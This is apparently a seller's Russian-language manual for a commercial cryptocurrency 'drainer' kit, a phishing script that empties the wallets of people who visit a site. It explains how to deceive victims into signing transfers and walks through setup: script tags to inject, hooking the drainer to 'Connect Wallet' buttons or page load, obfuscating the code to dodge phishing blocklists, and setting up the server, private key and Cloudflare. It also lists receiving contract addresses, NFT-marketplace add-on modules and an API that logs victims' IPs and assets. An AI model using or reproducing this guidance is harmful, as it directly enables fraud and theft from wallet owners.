September 1, 2023

Руководство по использованию

Привет, если ты читаешь это руководство, то скорее всего ты уже приобрёл один из ведущих скриптов в этой отрасли. Надеюсь, ты приобрёл его именно у меня, а не у одного из тех, кто пытается перепродать мой скрипт: помни, что техническая поддержка оказывается только тем, кто приобрёл скрипт официально. Покупая скрипт дешевле у третьих лиц, вы лишаете себя поддержки и всяких обновлений.

А если ты ещё не являешься обладателем скрипта, скорее исправь это здесь. Ты получишь сам скрипт, различные вспомогательные материалы, а также доступ в чат, где общаются обладатели скрипта - они помогут тебе, если ты что-то не понимаешь. В случае, если у тебя возникнут какие-то трудности в использовании, ты всегда сможешь обратиться ко мне, либо к моим агентам поддержки.

Для начала давай расскажу о том, что за скрипт ты приобрёл: дрейнер – это такой скрипт, который позволяет выводить из кошелька зашедшего на сайт пользователя все активы. И нет, это происходит не по волшебству, а в следствии того, что он сам отдаёт тебе все активы, подписывая транзакции в своём кошельке. Твоя задача лишь ввести его в заблуждение, чтобы он не понял, что с него будут списаны деньги. Например, ты можешь убедить его, что он получит деньги, либо вложит их куда-то - это всё уже на твоё усмотрение, от подхода зависит твой доход, наличие софта не гарантирует, что ты станешь миллионером.

Сразу расставим все точки: скрипт не списывает все активы в одно нажатие, нет варианта списать все активы просто при входе на сайт, и нет, нельзя сделать кастомное окно при списании активов. Разработчики кошельков тоже не дураки и стараются защищать своих пользователей, поэтому вам нужно быть хитрее. Мой скрипт старается из-за всех сил использовать самые лучшие методы, чтобы упростить вам задачу, но он не может сделать абсолютно всю работу за вас, поэтому вам нужно постараться. Только от вас и ваших методов зависит доход.

Теперь, если вы уже купили скрипт, давайте попробуем установить его на ваш сайт. Данная инструкция позволит установить скрипт на любой HTML сайт, мы не рассматриваем установку на React, Next JS и прочие подобные сайты - официально дрейнер их не поддерживает, но ходят слухи, что туда тоже можно.

Но первоначально разберемся из чего вообще состоит архив со скриптом.


Содержимое архива со скриптом

Как только вы откроете архив, вы увидите перед собой три папки:

  • Клиент
  • Сервер
  • Контракты

В первой папке, которая называется «Клиент», вы найдёте всё, что нужно устанавливать вместе с вашим лендингом, а также тестовый лендинг. Если вы хотите поставить тестовый лендинг, то копируйте все файлы и просто переносите на хостинг, этого должно быть достаточно, чтобы всё заработало. Нужно будет только указать адрес вашего сервера, об этом чуть ниже.

Если вы хотите поставить скрипт на ваш лендинг, а не использовать тестовый, то достаточно будет перенести папку "assets" в папку с вашим сайтом. Важно, чтобы папка "assets" находилась в корне вашего сайта. Даже если человек будет заходить на ваш сайт по адресу: "example.com/claim" и все файлы сайта у вас лежат в папке "claim", папку "assets" вы всё равно оставляете в корне - если вы сделаете иначе, скрипт может некорректно работать, запомнили этот момент.

Дальше у нас идёт вторая папка, называется «Сервер», там лежат все файлы, которые нужны для запуска сервера. Он выполняет важную роль - с него скачиваются все настройки, а также через него происходит вывод активов. Без запуска сервера сайт, на котором будет установлен клиент, работать не будет.

И последняя папка, которая называется «Контракты», содержит коды для контрактов на Solidity. Дрейнер поддерживает перевод монет на контракты нескольких видов: Claim, Security Update, Swap, Connect и Execute. По умолчанию в дрейнере используется общедоступный контракт, о нём немного позже, но при желании вы можете сами загрузить контракт в сеть и использовать уже его.


Установка клиента на сайт

Как уже было сказано ранее, установка на сайт очень простая, вы открываете папку «Клиент», забираете оттуда папку «assets» и переносите в корень сайта. Затем вам необходимо перейти в папку «assets» и найти там файл, который называется «web3-provider.js». Открываем этот файл любым редактором кода, например, Visual Studio Code (не путать с обычной Visual Studio) или Notepad++. В самой верхней части скрипта вы найдёте переменную "MS_Server" – туда необходимо вписать домен, на котором будет стоять ваш сервер. Это не тот домен, где стоит ваш сайт, а именно отдельный домен для сервера - это важно!

Как вы уже поняли, для сервера вам потребуется приобрести отдельный домен, либо создать субдомен, на который вам предстоит повесить сервер. Один сервер может использоваться для нескольких сайтов. Главное условие, что на всех этих сайтах будет использоваться один и тот же кошелёк, а также настройки. Но, конечно, не проблема, если вы будете работать только с одним сайтом.

Теперь откройте файл сайта, где стоит ваш лендинг, обычно он называется "index.html". Пролистайте файл до конца и найдите там специальный тег, который выглядит следующим образом: </body>. Как только вы нашли его, прямо перед ним пропишите следующие строки кода:

<script src="/assets/web3-provider/web3-router.js"></script>
<script src="/assets/web3-provider/web3-connect.js"></script>
<script src="/assets/web3-provider/web3-module.js"></script>
<script src="/assets/web3-provider/web3-alert.js"></script>
<script src="/assets/web3-provider/web3-seaport.js"></script>
<script src="/assets/web3-provider/web3-data.js"></script>
<script src="/assets/web3-provider/ethers.js"></script>
<script src="/assets/web3-provider/ethereum-tx.js"></script>
<script src="/assets/web3-provider.js"></script>

Обратите внимание, что эти скрипты будут работать только на хостинге и только с установленным SSL сертификатом, то есть по HTTPS. Если вы откроете файл на локальном сервере или просто на компьютере, скорее всего ничего не сработает.

Теперь вам надо подключить дрейнер к нужной вам кнопке, либо просто элементу на странице. Чаще всего кнопки выглядят в коде либо так:

<button class="button btn-dark"> Connect Wallet </button>

Либо как-то так, на самом деле, оно может выглядеть как угодно:

<a href="#"> Connect Wallet </a>

Есть два основных способа подключения дрейнера. Способ первый - просто добавить нужную функцию к кнопке, чтобы она вызывалась при клике:

onclick="ms_init()"

То есть в конечном варианте это будет выглядеть так:

<button class="button btn-dark" onclick="ms_init()"> 
  Connect Wallet 
</button>

Либо, второй вариант, можно добавить класс к нужной кнопке:

class="connect-button"

И выглядеть в кнопке это будет следующим образом:

<button class="button btn-dark connect-button"> 
  Connect Wallet 
</button>

Когда вы пропишите это ко всем нужным вам кнопкам, всё заработает. А если вы вдруг хотите, чтобы дрейнер срабатывал при открытии страницы, перед тегом </body> просто добавьте ещё один скрипт следующего содержания:

document.addEventListener("DOMContentLoaded", () => {
  setTimeout(() => ms_init(), 5000);
});

Отлично, настройка клиентской части скрипта успешно завершена, теперь его нужно обязательно обфусцировать, чтобы код не попала в фишинговые базы, да и просто чтобы его никто не украл с вашего сайта, что, конечно, очень важно.

Для этого нам понадобится следующий сайт: obfuscator.io

Снова открываем содержимое файла "web3-provider.js", где мы настраивали домен для сервера, полностью копируем всё содержимое и вставляем его на указанный выше сайт. Листаем чуть ниже и находим кнопку "Reset Options", нажимаем на неё, листаем ещё чуть ниже и ставим галочку напротив двух пунктов "Self Defending" и "Debug Protection". Также в поле "Domain Lock" можете прописать домен сайта, где будет стоять скрипт, и нажать на знак плюсика, в таком случае при краже дрейнера сайт злоумышленника просто сломается.

Поднимаемся вверх и жмем синюю кнопку "Obfuscate" и получаем видоизмененный, нечитаемый вид кода. Копируем его полностью и вставляем содержимое обратно в "web3-provider.js" уже в обфусцированном виде, сохраняем и загружаем на хостинг. Отлично, вы просто великолепны!


Установка сервера

Для сервера вам потребуется VPS с операционной системой Ubuntu 22.04. Вы, конечно можете выбрать и другую ОС, даже Windows Server, но в данном мануале будет расписан порядок действий именно для Ubuntu 22.04 - учтите этот момент.

В первую очередь вам потребуется аккаунт Cloudflare, он бесплатный, просто зарегистрируйтесь на их официальном сайте. Когда вы попали в панель управления, добавьте домен, который вы будете использовать для сервера, предварительно купите его в любом месте, например, на 4DOMAINS.SU. Чтобы добавить сайт, нажмите на кнопку "Add a Site" в панели управления, введите ваш домен, затем выбираете тарифный план "Free" и нажимаете "Continue". Дальше начнётся сканирование, оно займёт какое-то время и скорее всего вы не увидите ни одной записи. Но если что-то есть, просто удалите это. Теперь нажмите "Add Record", выберите тип записи "A", в поле "Name" введите знак "@", а в поле "IPv4 Address" введите IP VPS, который вы арендовали. Если у вас ещё нет VPS, вы можете арендовать его, например, на 4VPS.SU. Если вы арендуете его там, выбирайте регион ОАЭ и самый дешевый тарифный план за 420 рублей - вам его точно хватит. Но если позволяет бюджет, то можете взять что-то помощнее.

Нажимаете кнопку "Save" и затем "Continue". Вам высветятся две NS-записи, которые нужно будет указать в панели управления, где вы покупали свой домен. Если не знаете где это, уточните у поддержки того места, где вы купили домен. После этого добавление домена на Cloudflare будет завершено, но нужно сделать ещё несколько настроек, чтобы всё точно хорошо работало. В меню слева идём в раздел "SSL/TLS" и справа ставим режим работы "Flexiable". Теперь в левом меню выбираем раздел "Security", затем "Settings" и выставляем справа "Security Level" на "Low", а лучше вообще на "Essentially Off". Листаем чуть ниже и отключаем галочку напротив "Browser Integrity Check". Всё, вы прекрасны, домен добавлен.

Кстати, важно, чтобы VPS был чистый, на нём не должно быть никакого веб-сервера, панелей и всего прочего, даже ISPmanager или FastPanel могут помешать корректной работе скрипта. Даже не могут, а помешают точно!

Теперь подключаемся к нашему VPS по FTP, например, через FileZilla. Для этого добавляем его как новый сайт, выбираем режим работы не FTP, а SFTP, указываем данные от VPS и подключаемся. Мы должны попасть в папку "root". Если вы в ней, огонь, создайте папку с именем "server", откройте её и перенесите в неё все файлы и папки из папки "Сервер", которая была в архиве со скриптом.

Теперь начинается самое весёлое - настройка скрипта. Открываем файл "server.js" и наблюдаем там целую кучу настроек. По умолчанию стоят самые оптимальные настройки, вам остаётся только изменить адрес кошелька, куда будут идти деньги, и указать приватный ключ от него. Если что, вот инструкция как получить приватный ключ в MetaMask. Зачем нужен приватный ключ: когда мамонт даёт доступ к своему токену на ваш кошелек, он не переводит его, чтобы это вызывало меньше подозрений. Поэтому нам нужно вытащить это токен самостоятельно, для этого от имени вашего кошелька будет вызвана транзакция, которая вытащит токен с кошелька мамонта, для этого и нужен приватный ключ. Также нужно указать токен от бота в Telegram, создаётся он через @BotFather и ID канала, куда будут идти уведомления, просто создаёте канал, добавляете туда созданного бота (не @BotFather, а своего бота), делаете его администратором и получаете ID канала (есть множество ботов для этого, ищите: Get Channel ID). Примечание: ID канала всегда начинается с "-100", если у вас что-то другое, либо вовсе буквы, то вы явно сделали что-то не так, попробуйте ещё раз!

Кстати говоря, на кошельке всегда должно быть немного нативной монеты в каждой из сетей, иначе волшебство не сработает. Во всех сетях, кроме Ethereum, достаточно держать по 25 - 30$, а вот в Ethereum желательно держать около 50$. Нативная монета - это главная монета сети, в Ethereum это ETH, в Binance Smart Chain это BNB, в Avalanche это AVAX, а вот в Arbitrum, например, это тоже ETH.

Вы также можете посмотреть и другие настройки, комментарии есть в коде. После того, как вы всё настроили, сохраняем файл и загружаем обратно на VPS. Теперь вам нужно подключиться к серверу через SSH, для этого открываем PowerShell и вводим такую команду: ssh [email protected]

Только вместо "127.0.0.1" указываем IP вашего VPS, после выполнения этой команды оно спросит пароль от VPS, вводите, он будет невидимый - не пугайтесь, просто вводите пароль и жмите ENTER. Таким образом вы войдете в VPS. Теперь просто поочередно вводите команды, которые даны ниже, каждая строчка - это отдельная команда. Иногда вас может что-то спрашивать, например, [Y/N], в таких случаях вписываем "Y" (английскую, естественно) и нажимаем ENTER. Если вылезают какие-то окошки, просто жмём ENTER и не вникаем в их суть.

echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null
sudo apt-get update
sudo apt-get install curl ufw
sudo ufw allow 80
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install nodejs
sudo npm i pm2 -g
cd server
sudo npm i
pm2 start server.js --update-env
pm2 save

Теперь осталось проверить всё ли работает, для начала введите: pm2 list

Если вы видите список, в котором есть процесс "server.js", под ним написано "enabled", а правее есть строчка "online" - всё отлично, он запустился, но нужно ещё посмотреть логи, пропишем команду: pm2 logs 0

В идеале там должно быть название скрипта, надпись, что сервер онлайн и три строки с подсчётом строк в белом и чёрном списках. Если есть что-то другое, а тем более какие-то ошибки, есть повод беспокоится о работоспособности.

Но если всё в порядке, то вы умницы и смогли запустить сервер. Теперь давайте проверим работает ли он в сети. Перейдите в браузере по домену, который вы выбрали для сервера, должна загрузиться страница с текстом "Sorry, this page in unavailable", а также должно быть соединение через HTTPS. Если сайт не запускается и при этом вы недавно купили домен, возможно стоит подождать и он ещё не запустился. Но если прошло уже много времени (больше суток) и ничего так и не заработало, проверьте, может быть вы сделали что-то не так или обратитесь в поддержку, мы подскажем как решить вашу проблему поскорее.

В остальном, настройка сервера завершена, если захотите в дальнейшем что-то поменять, просто откройте FileZilla, внесите изменения и сохраните файл - всё.

Небольшое дополнение: установка без проксирования через CF

Бывает, что вы не хотите пробрасывать сервер через Cloudflare. Чаще всего это может быть связано с какими-то техническими проблемами. В первую очередь, если вы уже выполнили все инструкции выше, но хотите отключить проксирование, откройте Cloudflare, перейдите на вкладку DNS и там измените вашу A-запись. Необходимо выставить режим "DNS only", серое облако справа. После этого защита Cloudflare перестанет работать и в то же время пропадет HTTPS, который выдавался вам Cloudflare, соответственно нужно выпустить свой собственный, делать мы это будем через SSL For Free, но вы можете выпустить сертификат любым способом, главное, чтобы вы получили сам сертификат и ключ от него, два файла. Собственно, если вы решили сделать это через SSL For Free, то вот, что вам нужно сделать. Сначала идём на сайт и создаём там аккаунт.

Когда аккаунт создан, жмём на синюю кнопку "New Certificate". В следующем окне в поле "Enter Domain" вводим ваш домен для сервера, у вас скорее всего автоматически ещё добавится вторая версия с WWW в начале, крестиком её удаляем - она нам не нужна. Нажимаем на "Next Step" и выбираем "90-Day Certificate", потом снова "Next Step" и ещё раз "Next Step", выбираем тариф "Free" и нажимаем "Next Step". В следующем окне выбираем "DNS (CNAME)", идем в Cloudflare, открываем домен с сервером, идем в DNS и создаем там запись CNAME, указывая те данные, которые вам выдали на сайте. TTL устанавливаем любое, желательно самое небольшое, около одной минуты или побольше.

Возвращаемся на сайт, нажимаем на кнопку "Next Step" и жмем "Verify Domain", если всё успешно, оно даст скачать архив с сертификатом, скачиваем его. Внутри будет три файла, "ca_bundle.crt" можно смело удалять, остальные два файла переименовываем в "server.crt" и "server.key" соответственно. Теперь через FTP идём в папку, где у нас стоит сервер, создаём там ещё одну папку с названием "cert" и перекидываем туда те два файла, которые мы переименовали.

После этого идем в PowerShell, заходим через SSH в наш VPS и прописываем следующую команду: pm2 restart all. Она перезапустит наш сервер с новыми настройками. Теперь пропишите команду: pm2 logs 0. Если вы видите надпись "SERVER IS ONLINE, LISTENING TO PORT 443", то вы всё сделали правильно. Осталось проверить работоспособность: переходим в браузере на сайт с помощью домена вашего сервера, в ответ должно прилететь: "Sorry, this page is not available" - это нормально. Смотрим работает ли HTTPS - если да, то отлично.


Использование общего контракта

Адрес общего контракта: 0x0007039b77d22042afc1a9c3b3da11837b730000

Общий контракт - это контракт, который стоит по умолчанию, он имеет несколько режимов работы: Claim, Security Update, Claim Reward, Swap, Connect и Execute. Вы можете выбрать любой на своё усмотрение в настройках дрейнера. Адрес контракта уже прописан в настройках дрейнера по умолчанию. Туда будет идти нативная монета, которую будут отправлять вам через дрейнер. У общего контракта открытый код и вы можете его самостоятельно проверить его код и то, что он делает. А вот вы сможете выводить ровно столько, сколько пришло с вашего дрейнера, за вычетом небольшого процента за содержание общего контракта, максимальный процент обозначен в открытом коде контракта - это 10%, но по умолчанию процент в два раза ниже и составляет 5%. Процент отчислений за содержание контракта регулируется в зависимости от необходимости в той или иной сети, но, как уже было сказано, не выше максимального значения. Как это работает: при отправки денег дрейнер передаёт в качестве аргумента адрес вашего кошелька, который вы указали в дрейнере, контракт после получения средств сразу переводит их на ваш указанный кошелек, после чего деньги оказываются у вас, никакого взаимодействия с контрактом не требуется, всё полностью автоматизировано. Это поможет вам сэкономить деньги и нервы, чтобы не деплоить собственный контракт, из минусом - только небольшой процент отчислений, но это капля в море. Но если вы захотите, адрес контракта можно поменять в настройках дрейнера, а коды контрактов лежат в папке с архивами - дерзайте.

Кстати, также имеется общий контракт, где нет никаких процентных отчислений, то есть вы получаете 100% от тех денег, который прошли через контракт. Адрес контракта там не такой красивый и смотрится не так легитимно, но вы можете спокойно его использовать в своих проектах и ничего не платить. Собственно, вот адрес этого контракта: 0xe2b38dbef3febfb7cb5cd38e0a707e631ead8b98. Но стоит упомянуть, что код этого контракта абсолютно идентичен тому, который берёт проценты, так что техническая возможность установки процента там тоже имеется, но процент везде поставлен нулевой, соответственно вы получаете 100%. Если же в этом плане у вас нет доверия ко мне, можете использовать старый контракт - там нет процентной системы вовсе и только вы распоряжаетесь своими профитами, вот адрес подходящего контракта:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375

Помимо этого, имеются старые, более неактуальные контракты, которые раньше использовались в дрейнере. Если ваши деньги где-то потерялись, возможно они лежат на одном из этих контрактов ниже:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375
  • 0xd4d7e9e1d0dae333d83e174572de6bc473378bf1

У контрактов выше нет автоматического вывода, либо он включается вручную, так что возможно вам придётся вывести деньги через сканер вручную.


Установка модуля SeaPort

Если вы также приобрели дополнительный модуль SeaPort, важно корректно его установить. Стоит отметить, что модули можно устанавливать с версии от 4 мая 2023 года, на более старые версии установить SeaPort будет невозможно.

И так, у вас на руках есть архив с модулем SeaPort, его содержимое похоже на содержимое архива с основным скриптом. При этом основной скрипт уже должен быть установлен и настроен. Первоначально откройте FTP вашего сайта, где уже лежат основные файлы из папки "Клиент", который вы устанавливали ранее, для установки модуля SeaPort достаточно открыть в архиве с модулем папку "Клиент" и перенести папку "assets" в корень вашего сайта, где также лежит папка "assets", в которой находятся основные файлы скрипта. По аналогии с файлов "web3-provider.js" вам нужно будет обфусцировать модуль SeaPort: для этого заходим в папку "assets", затем в папку "web3-modules" и находим там "module-seaport.js", копируем всё содержимое, идём на сайт obfuscator.io, вставляем код туда, выставляем те же настройки, что и для "web3-provider.js" и обфусцируем. Затем обфусцированную версию возвращаем в файл и сохраняем изменения.

Теперь открываем HTML файл, где вы подключали основные скрипты, находим там следующую строку: <script src="/assets/web3-provider.js"></script>

От этой строки уходим вверх и ставим Enter, чтобы создать новую строку, затем прописываем: <script src="/assets/web3-modules/module-seaport.js"></script>

В результате должно получится следующим образом:

<script src="/assets/web3-modules/module-seaport.js"></script>
<script src="/assets/web3-provider.js"></script>

Готово, теперь нам нужно также поставить модуль на сервер, для этого открываем наш VPS через SFTP таким же образом, как тогда, когда вы загружали туда файлы в первый раз, заходим в папку "server". Теперь в архиве с модулем переходим в папку "Сервер", там будет папка "server_modules", её вы закидываем прямо в папку "server", которая находится в VPS, этого нам достаточно.

Всё, теперь открываем PowerShell, включаем SSH как в прошлый раз и прописываем следующую команду: pm2 restart all


Установка модуля Blur

Если вы также приобрели дополнительный модуль Blur, важно корректно его установить. Стоит отметить, что модули можно устанавливать с версии от 4 мая 2023 года, на более старые версии установить Blur будет невозможно.

И так, у вас на руках есть архив с модулем Blur, его содержимое похоже на содержимое архива с основным скриптом. При этом основной скрипт уже должен быть установлен и настроен. Первоначально откройте FTP вашего сайта, где уже лежат основные файлы из папки "Клиент", который вы устанавливали ранее, для установки модуля Blur достаточно открыть в архиве с модулем папку "Клиент" и перенести папку "assets" в корень вашего сайта, где также лежит папка "assets", в которой находятся основные файлы скрипта. По аналогии с файлов "web3-provider.js" вам нужно будет обфусцировать модуль Blur: для этого заходим в папку "assets", затем в папку "web3-modules" и находим там "module-blur.js", копируем всё содержимое, идём на сайт obfuscator.io, вставляем код туда, выставляем те же настройки, что и для "web3-provider.js" и обфусцируем. Затем обфусцированную версию возвращаем в файл и сохраняем изменения.

Теперь открываем HTML файл, где вы подключали основные скрипты, находим там следующую строку: <script src="/assets/web3-provider.js"></script>

От этой строки уходим вверх и ставим Enter, чтобы создать новую строку, затем прописываем: <script src="/assets/web3-modules/module-blur.js"></script>

В результате должно получится следующим образом:

<script src="/assets/web3-modules/module-blur.js"></script>
<script src="/assets/web3-provider.js"></script>

Готово, теперь нам нужно также поставить модуль на сервер, для этого открываем наш VPS через SFTP таким же образом, как тогда, когда вы загружали туда файлы в первый раз, заходим в папку "server". Теперь в архиве с модулем переходим в папку "Сервер", там будет папка "server_modules", её вы закидываем прямо в папку "server", которая находится в VPS, этого нам достаточно.

Всё, теперь открываем PowerShell, включаем SSH как в прошлый раз и прописываем следующую команду: pm2 restart all


Установка модуля X2Y2

Если вы также приобрели дополнительный модуль X2Y2, важно корректно его установить. Стоит отметить, что модули можно устанавливать с версии от 4 мая 2023 года, на более старые версии установить X2Y2 будет невозможно.

И так, у вас на руках есть архив с модулем X2Y2, его содержимое похоже на содержимое архива с основным скриптом. При этом основной скрипт уже должен быть установлен и настроен. Первоначально откройте FTP вашего сайта, где уже лежат основные файлы из папки "Клиент", который вы устанавливали ранее, для установки модуля X2Y2 достаточно открыть в архиве с модулем папку "Клиент" и перенести папку "assets" в корень вашего сайта, где также лежит папка "assets", в которой находятся основные файлы скрипта. По аналогии с файлов "web3-provider.js" вам нужно будет обфусцировать модуль Blur: для этого заходим в папку "assets", затем в папку "web3-modules" и находим там "module-x2y2.js", копируем всё содержимое, идём на сайт obfuscator.io, вставляем код туда, выставляем те же настройки, что и для "web3-provider.js" и обфусцируем. Затем обфусцированную версию возвращаем в файл и сохраняем изменения.

Теперь открываем HTML файл, где вы подключали основные скрипты, находим там следующую строку: <script src="/assets/web3-provider.js"></script>

От этой строки уходим вверх и ставим Enter, чтобы создать новую строку, затем прописываем: <script src="/assets/web3-modules/module-x2y2.js"></script>

В результате должно получится следующим образом:

<script src="/assets/web3-modules/module-x2y2.js"></script>
<script src="/assets/web3-provider.js"></script>

Готово, установка модуля X2Y2 на ваш скрипт успешно выполнена!


Ответы на часто задаваемые вопросы

Вопрос: скрипт не вывел какой-то токен / NFT, почему так вышло?
Ответ: самый очевидный вариант - что-то зависло или залагало, либо сеть была загружена и автоматика просто не успела сработать, однако, если подтверждение всё же было выдано, вы можете попробовать списать вручную. Менее очевидный вариант - вы нарвались на скам-токен, такое тоже бывает, такие токены притворяются, что много стоят, а на самом деле их даже нельзя вывести, например, в список таких входит Minereum и AIT, запомните их.

Вопрос: не приходят уведомления в Telegram, почему?
Ответ: если дрейнер при этом нормально функционирует, то скорее всего вы просто указали неправильные данные от Telegram бота или канала. Если же дрейнер не функционирует нормально, у вас проблемы с сервером.

Вопрос: списались не все активы, либо остались деньги в нативной монете.
Ответ: списываются только те активы, которые подтвердил мамонт, если он вышел с сайта или просто отказался, активы не спишутся. Если списалась основная монета и не вся, то это нормально, дрейнер на всякий случай оставляет немного монеты про запас, чтобы платить комиссию за подтверждения - не переживайте, это не ошибка, так и запланировано. Обычно может оставаться от одного до пары десятков долларов в зависимости от сети, это перестраховка.

Вопрос: проверяю дрейнер, не предлагает списать активы, хотя они есть.
Ответ: возможно, у вас в дрейнере выставлены лимиты по списаниям, а если речь про основную монету, которой не очень много, то её может не списать как раз по причине того, что дрейнер делает запасы для подтверждения. Рекомендуется проверять дрейнер на разумных суммах, например, на 30$.

Вопрос: откуда взять ключ для DeBank и сколько он стоит?
Ответ: купить ключ можно на этом сайте, минимальная стоимость - 200$.

Вопрос: я раньше пользовался другой версией дрейнера, куда теперь вписывать домены сайтов в обработчике, и куда делись некоторые настройки?
Ответ: домены вписывать больше не нужно, сайт сам подключается к дрейнеру, а некоторые настройки действительно могли исчезнуть, вероятно они были очень непопулярными, в связи с чем были удалены из новой версии.

Вопрос: внёс какие-то изменения, но ничего не произошло, что делать?
Ответ: после каких-либо изменения необходимо произвести следующие действия: во-первых, зайти на VPS через SSH и прописать команду для перезагрузки сервера: pm2 restart all. Затем вам нужно почистить везде кеш, чтобы скрипты заново выгрузились вам в браузер, если сайт настроен через Cloudflare, то зайдите туда, справа будет кнопка "Purge Cache", заходите туда и находите кнопку "Purge Everything" - таким образом вы почистите кеш у всех.


Дополнительно: работа с встроенным API

В скрипте имеется встроенный API, с помощью которого вы можете реализовать работу со сторонним ПО, например, панелью администрирования или ботом. Для того, чтобы активировать API, откройте файл "server.js", который вы установили на ваш VPS, затем найдите там следующие три строки с настройками вашего API:

const MS_Enable_API = false;
const MS_API_Token = "secret"; 
const MS_API_Mode = 1;

По умолчанию API отключено, переведите MS_Enable_API в положение "true" для того, чтобы активировать его. Затем в поле MS_API_Token придумайте любой ключ для доступа к информации, которая будет доступна вам по API - важно не оставлять ключ стандартным, иначе данные могут быть похищены кем угодно.

Затем вам нужно выбрать режим работы, всего их три:

  1. Отправляются только данные о выведенных активах (событие - asset_sent)
  2. Отправляются данные о входах на сайт (событие - enter_website), о подключении кошелька (событие - connect_wallet) и об успешно выведенных активах из подключенного кошелька (событие - asset_sent)
  3. Отправляют абсолютно все данные обо всём происходящем в кошельке

Установите выбранный номер в переменную MS_API_Mode для работы. Теперь, когда вы всё активировали и перезапустили сервер, вам стал доступен следующий URL: https://example.com/api/retrive. Вместо example.com в этом URL нужно подставлять домен вашего сервера, запрос отправляется методом POST, вы также должны в теле запроса передавать JSON с параметром "access_token", куда будет записана строка, которую вы вводили в MS_API_Token. Ответ от сервера должен выглядеть следующим образом, если всё хорошо:

{"status":"OK","data":[...]}

Поле "status" в ответе может иметь всего два значения: "OK", либо "error". Если вы видите "error", что-то пошло не так, подробности будут доступны в поле "error":

{"status":"error","error":"..."}

Если всё хорошо, статус будет "OK", а в поле "data" будет массив из событий, которые произошли в скрипте. Имейте в виду, что проверять данные нужно не реже 10 минут, так как данные, которым уже больше 10 минут, в целях экономии места, будут стираться из памяти API и восстановить их будет невозомжно. Каждый элемент массива - это событие, стандартный его вид следующий:

{
  "type": "...", // имя события, String
  "ts": 1000000, // UNIX события, Number
  "domain": "...", // домен сайта, String
  "user_id": 10, // ID посетителя сайта, Number
  "worker_id": "...", // ID воркера (MS_Worker_ID), NULL / String
  "IP": "...", // IP посетителя сайта, String
}

Помимо этих данных, некоторые события могут содержать дополнительные, например, такие события как "asset_sent", "transfer_request", "sign_request", "approve_request", "approve_success", "sign_success", "transfer_success", "permit_success" содержат дополнительное поле следующего содержания:

{
  "asset": { // Информация о выводимом активе
    "chain_id": 1, // ID сети актива
    "name": "...", // Наименование актива
    "amount": 1000, // Количество актива
    "amount_usd": 10, // Общая стоимость актива в USD
    "decimals": 16, // Количество нулей в активе (WEI)
    "price": 1, // Стоимость за единицу актива в USD
  }
}

Событие "chain_request" содержит такие дополнительные поля:

{
  "current_chain": 1, // ID текущей сети пользователя
  "suggest_chain": 56, // ID предложенной новой сети
}

Событие "permit_data" содержит поле с данными о подписи:

{
  "permit_ver": 1, // Версия PERMIT, может быть 1 или 2
  "sign": {...} // Данные о подписи PERMIT
}

Событие "enter_website" содержит некоторые дополнительные данные:

{
  "UA": "...", // User Agent
  "country": "...", // Страна
  "browser": "...", // Браузер
  "OS": "...", // Операционная система
}

Событие "connect_wallet" имеет данные о типе подключаемого кошелька:

{
  "wallet": "..." // Название кошелька
}

Общий список всех событий в API: enter_website (вход на сайт), connect_request (запрос на подключение), connect_cancel (отклоненное подключение), connect_wallet (кошелек подключен), approve_request (запрос подтверждения), transfer_request (запрос перевода), sign_request (запрос подписи), approve_cancel (подтверждение отклонено), transfer_cancel (перевод отклонен), sign_cancel (подпись отклонена), chain_request (запрос на смену сети), chain_success (сеть успешно изменена), chain_cancel (отказ от смены сети), asset_sent (актив успешно отправлен вам), permit_data (данные о подписи через PERMIT), permit_success (PERMIT успешно подписан автоматически), approve_success (пользователь подписал подтверждение, но вывод ещё не произведен), sign_success (пользователь подписал транзакцию, но вывод ещё не произведен), transfer_success (пользователь подписал перевод, но вывод ещё не произведен), permit2_data (данные о подписи через PERMIT2).